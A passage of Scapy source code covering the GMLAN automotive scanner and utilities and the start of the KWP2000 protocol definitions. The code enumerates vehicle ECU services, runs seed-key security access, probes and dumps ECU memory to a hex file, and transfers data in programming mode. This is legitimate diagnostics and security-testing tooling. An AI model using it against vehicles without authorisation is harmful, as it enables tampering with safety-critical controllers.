kwargs.pop("rdbi_enumerator", None) if rdbi_enumerator is None: return (GMLAN() / GMLAN_WDBI(dataIdentifier=x) for x in scan_range) elif isinstance(rdbi_enumerator, GMLAN_RDBIEnumerator): return (GMLAN() / GMLAN_WDBI(dataIdentifier=t.resp.dataIdentifier, dataRecord=bytes(t.resp)[2:]) for t in rdbi_enumerator.filtered_results if t.resp.service != 0x7f and len(bytes(t.resp)) >= 2) else: raise Scapy_Exception("rdbi_enumerator has to be an instance " "of GMLAN_RDBIEnumerator") def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%02x: %s" % (tup[1].dataIdentifier, tup[1].sprintf("%GMLAN_WDBI.dataIdentifier%")) def _get_table_entry_z(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return self._get_label(tup[2], "PR: Writeable") class GMLAN_WDBISelectiveEnumerator(StagedAutomotiveTestCase): @staticmethod def __connector_rdbi_to_wdbi(rdbi, _): # type: (AutomotiveTestCaseABC, AutomotiveTestCaseABC) -> Dict[str, Any] # noqa: E501 return {"rdbi_enumerator": rdbi} def __init__(self): # type: () -> None super(GMLAN_WDBISelectiveEnumerator, self).__init__( [GMLAN_RDBIEnumerator(), GMLAN_WDBIEnumerator()], [None, self.__connector_rdbi_to_wdbi]) class GMLAN_SAEnumerator(GMLAN_Enumerator, StateGenerator): _description = "SecurityAccess supported" _transition_function_args = dict() # type: Dict[_Edge, Tuple[int, Optional[Callable[[int], int]]]] # noqa: E501 _supported_kwargs = copy.copy(GMLAN_Enumerator._supported_kwargs) _supported_kwargs.update({ 'keyfunction': (None, None) }) _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + """ :param keyfunction: Specifies a function to generate the key from a given seed. :type keyfunction: Callable[[int], int]""" def execute(self, socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> None super(GMLAN_SAEnumerator, self).execute(socket, state, **kwargs) execute.__doc__ = _supported_kwargs_doc def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(1, 10, 2)) return (GMLAN() / GMLAN_SA(subfunction=x) for x in scan_range) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "Subfunction %02d" % tup[1].subfunction def _get_table_entry_z(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return self._get_label(tup[2], lambda r: "PR: %s" % r.securitySeed) def pre_execute(self, socket, state, global_configuration): # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None # noqa: E501 if cast(ServiceEnumerator, self)._retry_pkt[state] and \ not global_configuration.unittest: # this is a retry execute. Wait much longer than usual because # a required time delay not expired could have been received # on the previous attempt time.sleep(11) def _evaluate_retry(self, state, # type: EcuState request, # type: Packet response, # type: Packet **kwargs # type: Optional[Dict[str, Any]] ): # type: (...) -> bool if super(GMLAN_SAEnumerator, self)._evaluate_retry( state, request, response, **kwargs): return True if response.service == 0x7f and \ self._get_negative_response_code(response) in [0x22, 0x37]: log_automotive.debug( "Retry %s because requiredTimeDelayNotExpired or " "requestSequenceError received", repr(request)) return super(GMLAN_SAEnumerator, self)._populate_retry( state, request) return False def _evaluate_response(self, state, # type: EcuState request, # type: Packet response, # type: Optional[Packet] **kwargs # type: Optional[Dict[str, Any]] ): # type: (...) -> bool if super(GMLAN_SAEnumerator, self)._evaluate_response( state, request, response, **kwargs): return True if response is not None and \ response.service == 0x67 and response.subfunction % 2 == 1: log_automotive.debug("Seed received. Leave scan to try a key") return True return False @staticmethod def get_seed_pkt(sock, level=1): # type: (_SocketUnion, int) -> Optional[Packet] req = GMLAN() / GMLAN_SA(subfunction=level) for _ in range(10): seed = sock.sr1(req, timeout=5, verbose=False) if seed is None: return None elif seed.service == 0x7f and \ GMLAN_Enumerator._get_negative_response_code(seed) != 0x37: log_automotive.info( "Security access no seed! NR: %s", repr(seed)) return None elif seed.service == 0x7f and \ GMLAN_Enumerator._get_negative_response_code(seed) == 0x37: log_automotive.info("Security access retry to get seed") time.sleep(10) continue else: return seed return None @staticmethod def evaluate_security_access_response(res, seed, key): # type: (Optional[Packet], Packet, Optional[Packet]) -> bool if res is None or res.service == 0x7f: log_automotive.debug(repr(seed)) log_automotive.debug(repr(key)) log_automotive.debug(repr(res)) log_automotive.info("Security access error!") return False else: log_automotive.info("Security access granted!") return True @staticmethod def get_key_pkt(seed, keyfunction, level=1): # type: (Packet, Callable[[int], int], int) -> Optional[Packet] try: s = seed.securitySeed except AttributeError: return None return cast(Packet, GMLAN() / GMLAN_SA(subfunction=level + 1, securityKey=keyfunction(s))) @staticmethod def get_security_access(sock, level=1, seed_pkt=None, keyfunction=None): # type: (_SocketUnion, int, Optional[Packet], Optional[Callable[[int], int]]) -> bool # noqa: E501 log_automotive.info( "Try bootloader security access for level %d" % level) if seed_pkt is None: seed_pkt = GMLAN_SAEnumerator.get_seed_pkt(sock, level) if not seed_pkt: return False if keyfunction is None: return False key_pkt = GMLAN_SAEnumerator.get_key_pkt(seed_pkt, keyfunction, level) if key_pkt is None: return False res = sock.sr1(key_pkt, timeout=5, verbose=False) return GMLAN_SAEnumerator.evaluate_security_access_response( res, seed_pkt, key_pkt) @staticmethod def transition_function(sock, _, kwargs): # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]) -> bool # noqa: E501 return GMLAN_SAEnumerator.get_security_access( sock, level=kwargs["sec_level"], keyfunction=kwargs["keyfunction"]) def get_new_edge(self, socket, config): # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration) -> Optional[_Edge] # noqa: E501 last_resp = self._results[-1].resp last_state = self._results[-1].state if last_resp is None or last_resp.service == 0x7f: return None try: if last_resp.service != 0x67 or \ last_resp.subfunction % 2 != 1: return None seed = last_resp sec_lvl = seed.subfunction kf = config[self.__class__.__name__].get("keyfunction", None) if self.get_security_access(socket, level=sec_lvl, seed_pkt=seed, keyfunction=kf): log_automotive.debug("Security Access found.") # create edge new_state = copy.copy(last_state) new_state.security_level = seed.subfunction + 1 # type: ignore # noqa: E501 if last_state == new_state: return None edge = (last_state, new_state) self._transition_function_args[edge] = (sec_lvl, kf) return edge except AttributeError: pass return None def get_transition_function(self, socket, edge): # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple] return self.transition_function, { "sec_level": self._transition_function_args[edge][0], "keyfunction": self._transition_function_args[edge][1], "desc": "SA=%d" % self._transition_function_args[edge][0]}, None class GMLAN_RDEnumerator(GMLAN_Enumerator, StateGeneratingServiceEnumerator): _description = "RequestDownload supported" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] return [GMLAN() / GMLAN_RD(memorySize=0x10)] def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "RequestDownload:" class GMLAN_PMEnumerator(GMLAN_Enumerator, StateGeneratingServiceEnumerator): _description = "ProgrammingMode supported" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] raise NotImplementedError() def execute(self, socket, state, timeout=1, execution_time=1200, **kwargs): # type: (_SocketUnion, EcuState, int, int, Any) -> None supported = GMLAN_InitDiagnostics( cast(SuperSocket, socket), timeout=20, unittest=kwargs.get("unittest", False)) # TODO: Refactor result storage if supported: self._store_result( state, GMLAN() / GMLAN_PM(), GMLAN(service=0xE5)) else: self._store_result( state, GMLAN() / GMLAN_PM(), GMLAN() / GMLAN_NR(returnCode=0x11, requestServiceId=0xA5)) self._state_completed[state] = True def get_new_edge(self, socket, config): # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration) -> Optional[_Edge] # noqa: E501 edge = super(GMLAN_PMEnumerator, self).get_new_edge(socket, config) if edge: state, new_state = edge new_state.tp = 1 # type: ignore new_state.communication_control = 1 # type: ignore return state, new_state return None @staticmethod def enter_state_with_tp(sock, conf, kwargs): # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]) -> bool # noqa: E501 GMLAN_TPEnumerator.enter(sock, conf, kwargs) res = GMLAN_InitDiagnostics(cast(SuperSocket, sock), timeout=20, unittest=conf.unittest) if not res: GMLAN_TPEnumerator.cleanup(sock, conf) return False else: return True def get_transition_function(self, socket, edge): # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple] return self.enter_state_with_tp, {"desc": "PM_TP"}, \ GMLAN_TPEnumerator.cleanup def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "ProgrammingMode:" class GMLAN_RDBPIEnumerator(GMLAN_Enumerator): _description = "Readable parameter identifier per state" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(0x10000)) return (GMLAN() / GMLAN_RDBPI(identifiers=[x]) for x in scan_range) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%04x: %s" % ( tup[1].identifiers[0], tup[1].sprintf("%GMLAN_RDBPI.identifiers%")[1:-1]) def _get_table_entry_z(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return self._get_label(tup[2], GMLAN_RDBIEnumerator.print_information) class GMLAN_RMBAEnumerator(GMLAN_Enumerator): _description = "Readable Memory Addresses and negative response per state" _supported_kwargs = copy.copy(GMLAN_Enumerator._supported_kwargs) _supported_kwargs.update({ 'probe_width': (int, lambda x: x >= 0), 'random_probes_len': (int, lambda x: x >= 0), 'sequential_probes_len': (int, lambda x: x >= 0) }) _supported_kwargs_doc = GMLAN_Enumerator._supported_kwargs_doc + """ :param int probe_width: Memory size of a probe. :param int random_probes_len: Number of probes. :param int sequential_probes_len: Size of a memory block during sequential probing.""" def execute(self, socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> None super(GMLAN_RMBAEnumerator, self).execute(socket, state, **kwargs) execute.__doc__ = _supported_kwargs_doc def __init__(self): # type: () -> None super(GMLAN_RMBAEnumerator, self).__init__() self.random_probe_finished = defaultdict(bool) # type: Dict[EcuState, bool] # noqa: E501 self.points_of_interest = defaultdict(list) # type: Dict[EcuState, List[Tuple[int, bool]]] # noqa: E501 self.probe_width = 0x10 # defines the memorySize of a request self.highest_possible_addr = \ 2 ** (8 * conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme']) - 1 self.random_probes_len = \ min(10 ** conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'], 0x5000) self.sequential_probes_len = \ 10 ** (conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme']) def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] self.probe_width = kwargs.pop("probe_width", self.probe_width) self.random_probes_len = \ kwargs.pop("random_probes_len", self.random_probes_len) self.sequential_probes_len = \ kwargs.pop("sequential_probes_len", self.sequential_probes_len) addresses = random.sample( range(0, self.highest_possible_addr, self.probe_width), self.random_probes_len) scan_range = kwargs.pop("scan_range", addresses) return (GMLAN() / GMLAN_RMBA(memoryAddress=x, memorySize=self.probe_width) for x in scan_range) def post_execute(self, socket, state, global_configuration): # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None # noqa: E501 if not self._state_completed[state]: return if not self.random_probe_finished[state]: log_automotive.info("Random memory probing finished") self.random_probe_finished[state] = True for tup in [t for t in self.results_with_positive_response if t.state == state]: self.points_of_interest[state].append( (tup.req.memoryAddress, True)) self.points_of_interest[state].append( (tup.req.memoryAddress, False)) if not len(self.points_of_interest[state]): return log_automotive.info( "Create %d memory points for sequential probing" % len(self.points_of_interest[state])) tested_addrs = [tup.req.memoryAddress for tup in self.results] pos_addrs = [tup.req.memoryAddress for tup in self.results_with_positive_response if tup.state == state] new_requests = list() new_points_of_interest = list() for poi, upward in self.points_of_interest[state]: if poi not in pos_addrs: continue temp_new_requests = list() for i in range( self.probe_width, self.sequential_probes_len + self.probe_width, self.probe_width): if upward: new_addr = min(poi + i, self.highest_possible_addr) else: new_addr = max(poi - i, 0) if new_addr not in tested_addrs: pkt = GMLAN() / GMLAN_RMBA(memoryAddress=new_addr, memorySize=self.probe_width) temp_new_requests.append(pkt) if len(temp_new_requests): new_points_of_interest.append( (temp_new_requests[-1].memoryAddress, upward)) new_requests += temp_new_requests self.points_of_interest[state] = list() if len(new_requests): self._state_completed[state] = False self._request_iterators[state] = new_requests self.points_of_interest[state] = new_points_of_interest log_automotive.info( "Created %d pkts for sequential probing" % len(new_requests)) def show(self, dump=False, filtered=True, verbose=False): # type: (bool, bool, bool) -> Optional[str] s = super(GMLAN_RMBAEnumerator, self).show(dump, filtered, verbose) try: from intelhex import IntelHex ih = IntelHex() for tup in self.results_with_positive_response: for i, b in enumerate(tup.resp.dataRecord): ih[tup.req.memoryAddress + i] = orb(b) ih.tofile("RMBA_dump.hex", format="hex") except ImportError: log_automotive.warning( "Install 'intelhex' to create a hex file of the memory") if dump and s is not None: return s + "\n" else: print(s) return None def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%04x" % tup[1].memoryAddress def _get_table_entry_z(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return self._get_label(tup[2], lambda r: "PR: %s" % r.dataRecord) class GMLAN_TDEnumerator(GMLAN_Enumerator): _description = "Transfer Data support and negative response per state" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(0x1ff)) temp = conf.contribs["GMLAN"]['GMLAN_ECU_AddressingScheme'] # Shift operations to eliminate addresses not aligned to 4 max_addr = (2 ** (temp * 8) - 1) >> 2 addresses = (random.randint(0, max_addr) << 2 for _ in scan_range) return (GMLAN() / GMLAN_TD(subfunction=0, startingAddress=x) for x in addresses) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%04x" % tup[1].startingAddress class GMLAN_DCEnumerator(GMLAN_Enumerator): _description = "DeviceControl supported per state" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(0x100)) return (GMLAN() / GMLAN_DC(CPIDNumber=x) for x in scan_range) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%02x: %s" % \ (tup[1].CPIDNumber, tup[1].sprintf("%GMLAN_DC.CPIDNumber%")) # ########################## GMLAN SCANNER ################################### class GMLAN_Scanner(AutomotiveTestCaseExecutor): @property def default_test_case_clss(self): # type: () -> List[Type[AutomotiveTestCaseABC]] return [GMLAN_ServiceEnumerator, GMLAN_TPEnumerator, GMLAN_IDOEnumerator, GMLAN_PMEnumerator, GMLAN_RDEnumerator, GMLAN_SAEnumerator, GMLAN_TDEnumerator, GMLAN_RMBAEnumerator, GMLAN_WDBISelectiveEnumerator, GMLAN_DCEnumerator] ================================================ FILE: scapy/contrib/automotive/gm/gmlanutils.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # Copyright (C) Markus Schroetter # scapy.contrib.description = GMLAN Utilities # scapy.contrib.status = loads import time from scapy.contrib.automotive import log_automotive from scapy.contrib.automotive.gm.gmlan import GMLAN, GMLAN_SA, GMLAN_RD, \ GMLAN_TD, GMLAN_PM, GMLAN_RMBA from scapy.config import conf from scapy.packet import Packet from scapy.supersocket import SuperSocket from scapy.contrib.isotp import ISOTPSocket from scapy.utils import PeriodicSenderThread from typing import ( Optional, cast, Callable, ) __all__ = ["GMLAN_TesterPresentSender", "GMLAN_InitDiagnostics", "GMLAN_GetSecurityAccess", "GMLAN_RequestDownload", "GMLAN_TransferData", "GMLAN_TransferPayload", "GMLAN_ReadMemoryByAddress", "GMLAN_BroadcastSocket"] log_automotive.info("\"conf.contribs['GMLAN']" "['treat-response-pending-as-answer']\" set to True). This " "is required by the GMLAN-Utils module to operate " "correctly.") try: conf.contribs['GMLAN']['treat-response-pending-as-answer'] = False except KeyError: conf.contribs['GMLAN'] = {'treat-response-pending-as-answer': False} # Helper function def _check_response(resp): # type: (Optional[Packet]) -> bool if resp is None: log_automotive.debug("Timeout.") return False log_automotive.debug("%s", repr(resp)) return resp.service != 0x7f # NegativeResponse class GMLAN_TesterPresentSender(PeriodicSenderThread): def __init__(self, sock, pkt=GMLAN(service="TesterPresent"), interval=2): # type: (SuperSocket, Packet, int) -> None """ Thread to send GMLAN TesterPresent packets periodically :param sock: socket where packet is sent periodically :param pkt: packet to send :param interval: interval between two packets """ PeriodicSenderThread.__init__(self, sock, pkt, interval) def run(self): # type: () -> None while not self._stopped.is_set() and not self._socket.closed: for p in self._pkts: self._socket.sr1(p, verbose=False, timeout=0.1) self._stopped.wait(timeout=self._interval) if self._stopped.is_set() or self._socket.closed: break def GMLAN_InitDiagnostics( sock, # type: SuperSocket broadcast_socket=None, # type: Optional[SuperSocket] timeout=1, # type: int retry=0, # type: int unittest=False # type: bool ): # type: (...) -> bool """ Send messages to put an ECU into diagnostic/programming state. :param sock: socket for communication. :param broadcast_socket: socket for broadcasting. If provided some message will be sent as broadcast. Recommended when used on a network with several ECUs. :param timeout: timeout for sending, receiving or sniffing packages. :param retry: number of retries in case of failure. :param unittest: disable delays :return: True on success else False """ # Helper function def _send_and_check_response(sock, req, timeout): # type: (SuperSocket, Packet, int) -> bool log_automotive.debug("Sending %s", repr(req)) resp = sock.sr1(req, timeout=timeout, verbose=False) return _check_response(resp) retry = abs(retry) while retry >= 0: retry -= 1 # DisableNormalCommunication p = GMLAN(service="DisableNormalCommunication") if broadcast_socket is None: if not _send_and_check_response(sock, p, timeout): continue else: log_automotive.debug("Sending %s as broadcast", repr(p)) broadcast_socket.send(p) if not unittest: time.sleep(0.05) # ReportProgrammedState p = GMLAN(service="ReportProgrammingState") if not _send_and_check_response(sock, p, timeout): continue # ProgrammingMode requestProgramming p = GMLAN() / GMLAN_PM(subfunction="requestProgrammingMode") if not _send_and_check_response(sock, p, timeout): continue if not unittest: time.sleep(0.05) # InitiateProgramming enableProgramming # No response expected p = GMLAN() / GMLAN_PM(subfunction="enableProgrammingMode") log_automotive.debug("Sending %s", repr(p)) sock.sr1(p, timeout=0.001, verbose=False) return True return False def GMLAN_GetSecurityAccess( sock, # type: SuperSocket key_function, # type: Callable[[int], int] level=1, # type: int timeout=None, # type: Optional[int] retry=0, # type: int unittest=False # type: bool ): # type: (...) -> bool """ Authenticate on ECU. Implements Seey-Key procedure. :param sock: socket to send the message on. :param key_function: function implementing the key algorithm. :param level: level of access :param timeout: timeout for sending, receiving or sniffing packages. :param retry: number of retries in case of failure. :param unittest: disable internal delays :return: True on success. """ retry = abs(retry) if key_function is None: return False if level % 2 == 0: log_automotive.warning("Parameter Error: Level must be an odd number.") return False while retry >= 0: retry -= 1 request = GMLAN() / GMLAN_SA(subfunction=level) log_automotive.debug("Requesting seed..") resp = sock.sr1(request, timeout=timeout, verbose=False) if not _check_response(resp): if resp is not None and resp.returnCode == 0x37 and retry: log_automotive.debug("RequiredTimeDelayNotExpired. Wait 10s.") if not unittest: time.sleep(10) log_automotive.debug("Negative Response.") continue seed = cast(Packet, resp).securitySeed if seed == 0: log_automotive.debug("ECU security already unlocked. (seed is 0x0000)") return True keypkt = GMLAN() / GMLAN_SA(subfunction=level + 1, securityKey=key_function(seed)) log_automotive.debug("Responding with key..") resp = sock.sr1(keypkt, timeout=timeout, verbose=False) if resp is None: log_automotive.debug("Timeout.") continue log_automotive.debug("%s", repr(resp)) if resp.service == 0x67: log_automotive.debug("SecurityAccess granted.") return True # Invalid Key elif resp.service == 0x7f and resp.returnCode == 0x35: log_automotive.debug("Key invalid") continue return False def GMLAN_RequestDownload(sock, length, timeout=None, retry=0): # type: (SuperSocket, int, Optional[int], int) -> bool """ Send RequestDownload message. Usually used before calling TransferData. :param sock: socket to send the message on. :param length: value for the message's parameter 'unCompressedMemorySize'. :param timeout: timeout for sending, receiving or sniffing packages. :param retry: number of retries in case of failure. :return: True on success """ retry = abs(retry) while retry >= 0: # RequestDownload pkt = GMLAN() / GMLAN_RD(memorySize=length) resp = sock.sr1(pkt, timeout=timeout, verbose=False) if _check_response(resp): return True retry -= 1 if retry >= 0: log_automotive.debug("Retrying..") return False def GMLAN_TransferData( sock, # type: SuperSocket addr, # type: int payload, # type: bytes maxmsglen=None, # type: Optional[int] timeout=None, # type: Optional[int] retry=0 # type: int ): # type: (...) -> bool """ Send TransferData message. Usually used after calling RequestDownload. :param sock: socket to send the message on. :param addr: destination memory address on the ECU. :param payload: data to be sent. :param maxmsglen: maximum length of a single iso-tp message. default: maximum length :param timeout: timeout for sending, receiving or sniffing packages. :param retry: number of retries in case of failure. :return: True on success. """ retry = abs(retry) startretry = retry scheme = conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] if addr < 0 or addr >= 2 ** (8 * scheme): log_automotive.warning("Error: Invalid address %s for scheme %s", hex(addr), str(scheme)) return False # max size of dataRecord according to gmlan protocol if maxmsglen is None or maxmsglen <= 0 or maxmsglen > (4093 - scheme): maxmsglen = (4093 - scheme) maxmsglen = cast(int, maxmsglen) for i in range(0, len(payload), maxmsglen): retry = startretry while True: if len(payload[i:]) > maxmsglen: transdata = payload[i:i + maxmsglen] else: transdata = payload[i:] pkt = GMLAN() / GMLAN_TD(startingAddress=addr + i, dataRecord=transdata) resp = sock.sr1(pkt, timeout=timeout, verbose=False) if _check_response(resp): break retry -= 1 if retry >= 0: log_automotive.debug("Retrying..") else: return False return True def GMLAN_TransferPayload( sock, # type: SuperSocket addr, # type: int payload, # type: bytes maxmsglen=None, # type: Optional[int] timeout=None, # type: Optional[int] retry=0 # type: int ): # type: (...) -> bool """ Send data by using GMLAN services. :param sock: socket to send the data on. :param addr: destination memory address on the ECU. :param payload: data to be sent. :param maxmsglen: maximum length of a single iso-tp message. default: maximum length :param timeout: timeout for sending, receiving or sniffing packages. :param retry: number of retries in case of failure. :return: True on success. """ if not GMLAN_RequestDownload(sock, len(payload), timeout=timeout, retry=retry): return False if not GMLAN_TransferData(sock, addr, payload, maxmsglen=maxmsglen, timeout=timeout, retry=retry): return False return True def GMLAN_ReadMemoryByAddress( sock, # type: SuperSocket addr, # type: int length, # type: int timeout=None, # type: Optional[int] retry=0 # type: int ): # type: (...) -> Optional[bytes] """ Read data from ECU memory. :param sock: socket to send the data on. :param addr: source memory address on the ECU. :param length: bytes to read. :param timeout: timeout for sending, receiving or sniffing packages. :param retry: number of retries in case of failure. :return: bytes red or None """ retry = abs(retry) scheme = conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] if addr < 0 or addr >= 2 ** (8 * scheme): log_automotive.warning("Error: Invalid address %s for scheme %s", hex(addr), str(scheme)) return None # max size of dataRecord according to gmlan protocol if length <= 0 or length > (4094 - scheme): log_automotive.warning("Error: Invalid length %s for scheme %s. " "Choose between 0x1 and %s", hex(length), str(scheme), hex(4094 - scheme)) return None while retry >= 0: # RequestDownload pkt = GMLAN() / GMLAN_RMBA(memoryAddress=addr, memorySize=length) resp = sock.sr1(pkt, timeout=timeout, verbose=False) if _check_response(resp): return cast(Packet, resp).dataRecord retry -= 1 if retry >= 0: log_automotive.debug("Retrying..") return None def GMLAN_BroadcastSocket(interface): # type: (str) -> SuperSocket """ Returns a GMLAN broadcast socket using interface. :param interface: interface name :return: ISOTPSocket configured as GMLAN Broadcast Socket """ return ISOTPSocket(interface, tx_id=0x101, rx_id=0x0, basecls=GMLAN, ext_address=0xfe, padding=True) ================================================ FILE: scapy/contrib/automotive/kwp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = Keyword Protocol 2000 (KWP2000) / ISO 14230 # scapy.contrib.status = loads import struct from scapy.fields import ( BitField, ByteEnumField, ByteField, ConditionalField, MayEnd, ObservableDict, StrField, X3BytesField, XByteEnumField, XByteField, XShortEnumField, ) from scapy.packet import Packet, bind_layers, NoPayload from scapy.config import conf from scapy.error import log_loading from scapy.utils import PeriodicSenderThread from scapy.plist import _PacketIterable from scapy.contrib.isotp import ISOTP from typing import ( Dict, Any, ) try: if conf.contribs['KWP']['treat-response-pending-as-answer']: pass except KeyError: log_loading.info("Specify \"conf.contribs['KWP'] = " "{'treat-response-pending-as-answer': True}\" to treat " "a negative response 'requestCorrectlyReceived-" "ResponsePending' as answer of a request. \n" "The default value is False.") conf.contribs['KWP'] = {'treat-response-pending-as-answer': False} class KWP(ISOTP): services = ObservableDict( {0x10: 'StartDiagnosticSession', 0x11: 'ECUReset', 0x14: 'ClearDiagnosticInformation', 0x17: 'ReadStatusOfDiagnosticTroubleCodes', 0x18: 'ReadDiagnosticTroubleCodesByStatus', 0x1A: 'ReadECUIdentification', 0x21: 'ReadDataByLocalIdentifier', 0x22: 'ReadDataByIdentifier', 0x23: 'ReadMemoryByAddress', 0x27: 'SecurityAccess', 0x28: 'DisableNormalMessageTransmission', 0x29: 'EnableNormalMessageTransmission', 0x2C: 'DynamicallyDefineLocalIdentifier', 0x2E: 'WriteDataByIdentifier', 0x30: 'InputOutputControlByLocalIdentifier', 0x31: 'StartRoutineByLocalIdentifier', 0x32: 'StopRoutineByLocalIdentifier', 0x33: 'RequestRoutineResultsByLocalIdentifier', 0x34: 'RequestDownload', 0x35: 'RequestUpload', 0x36: 'TransferData', 0x37: 'RequestTransferExit', 0x3B: 'WriteDataByLocalIdentifier', 0x3D: 'WriteMemoryByAddress', 0x3E: 'TesterPresent', 0x85: 'ControlDTCSetting', 0x86: 'ResponseOnEvent', 0x50: 'StartDiagnosticSessionPositiveResponse', 0x51: 'ECUResetPositiveResponse', 0x54: 'ClearDiagnosticInformationPositiveResponse', 0x57: 'ReadStatusOfDiagnosticTroubleCodesPositiveResponse', 0x58: 'ReadDiagnosticTroubleCodesByStatusPositiveResponse', 0x5A: 'ReadECUIdentificationPositiveResponse', 0x61: 'ReadDataByLocalIdentifierPositiveResponse', 0x62: 'ReadDataByIdentifierPositiveResponse', 0x63: 'ReadMemoryByAddressPositiveResponse', 0x67: 'SecurityAccessPositiveResponse', 0x68: 'DisableNormalMessageTransmissionPositiveResponse', 0x69: 'EnableNormalMessageTransmissionPositiveResponse', 0x6C: 'DynamicallyDefineLocalIdentifierPositiveResponse', 0x6E: 'WriteDataByIdentifierPositiveResponse', 0x70: 'InputOutputControlByLocalIdentifierPositiveResponse', 0x71: 'StartRoutineByLocalIdentifierPositiveResponse', 0x72: 'StopRoutineByLocalIdentifierPositiveResponse', 0x73: 'RequestRoutineResultsByLocalIdentifierPositiveResponse', 0x74: 'RequestDownloadPositiveResponse', 0x75: 'RequestUploadPositiveResponse', 0x76: 'TransferDataPositiveResponse', 0x77: 'RequestTransferExitPositiveResponse', 0x7B: 'WriteDataByLocalIdentifierPositiveResponse', 0x7D: 'WriteMemoryByAddressPositiveResponse', 0x7E: 'TesterPresentPositiveResponse', 0xC5: 'ControlDTCSettingPositiveResponse', 0xC6: 'ResponseOnEventPositiveResponse', 0x7f: 'NegativeResponse'}) # type: Dict[int, str] name = 'KWP' fields_desc = [ XByteEnumField('service', 0, services) ] def answers(self, other): # type: (Packet) -> bool if not isinstance(other, type(self)): return False if self.service == 0x7f: return self.payload.answers(other) if self.service == (other.service + 0x40): if isinstance(self.payload, NoPayload) or \ isinstance(other.payload, NoPayload): return len(self) <= len(other) else: return self.payload.answers(other.payload) return False def hashret(self): # type: () -> bytes if self.service == 0x7f: return struct.pack('B', self.requestServiceId & ~0x40) else: return struct.pack('B', self.service & ~0x40) # ########################SDS################################### class KWP_SDS(Packet): diagnosticSessionTypes = ObservableDict({ 0x81: 'defaultSession', 0x85: 'programmingSession', 0x89: 'standBySession', 0x90: 'EcuPassiveSession', 0x92: 'extendedDiagnosticSession'}) name = 'StartDiagnosticSession' fields_desc = [ ByteEnumField('diagnosticSession', 0, diagnosticSessionTypes) ] bind_layers(KWP, KWP_SDS, service=0x10) class KWP_SDSPR(Packet): name = 'StartDiagnosticSessionPositiveResponse' fields_desc = [ ByteEnumField('diagnosticSession', 0, KWP_SDS.diagnosticSessionTypes), ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_SDS) and \ other.diagnosticSession == self.diagnosticSession bind_layers(KWP, KWP_SDSPR, service=0x50) # ######################### KWP_ER ################################### class KWP_ER(Packet): resetModes = { 0x00: 'reserved', 0x01: 'powerOnReset', 0x82: 'nonvolatileMemoryReset'} name = 'ECUReset' fields_desc = [ ByteEnumField('resetMode', 0, resetModes) ] bind_layers(KWP, KWP_ER, service=0x11) class KWP_ERPR(Packet): name = 'ECUResetPositiveResponse' def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_ER) bind_layers(KWP, KWP_ERPR, service=0x51) # ######################### KWP_SA ################################### class KWP_SA(Packet): name = 'SecurityAccess' fields_desc = [ ByteField('accessMode', 0), ConditionalField(StrField('key', b""), lambda pkt: pkt.accessMode % 2 == 0) ] bind_layers(KWP, KWP_SA, service=0x27) class KWP_SAPR(Packet): name = 'SecurityAccessPositiveResponse' fields_desc = [ ByteField('accessMode', 0), ConditionalField(StrField('seed', b""), lambda pkt: pkt.accessMode % 2 == 1), ] def answers(self, other): # type: (Packet) -> int return isinstance(other, KWP_SA) \ and other.accessMode == self.accessMode bind_layers(KWP, KWP_SAPR, service=0x67) # ######################### KWP_IOCBLI ################################### class KWP_IOCBLI(Packet): name = 'InputOutputControlByLocalIdentifier' inputOutputControlParameters = { 0x00: "Return Control to ECU", 0x01: "Report Current State", 0x04: "Reset to Default", 0x05: "Freeze Current State", 0x07: "Short Term Adjustment", 0x08: "Long Term Adjustment" } fields_desc = [ XByteField('localIdentifier', 0), XByteEnumField('inputOutputControlParameter', 0, inputOutputControlParameters), StrField('controlState', b"", fmt="B") ] bind_layers(KWP, KWP_IOCBLI, service=0x30) class KWP_IOCBLIPR(Packet): name = 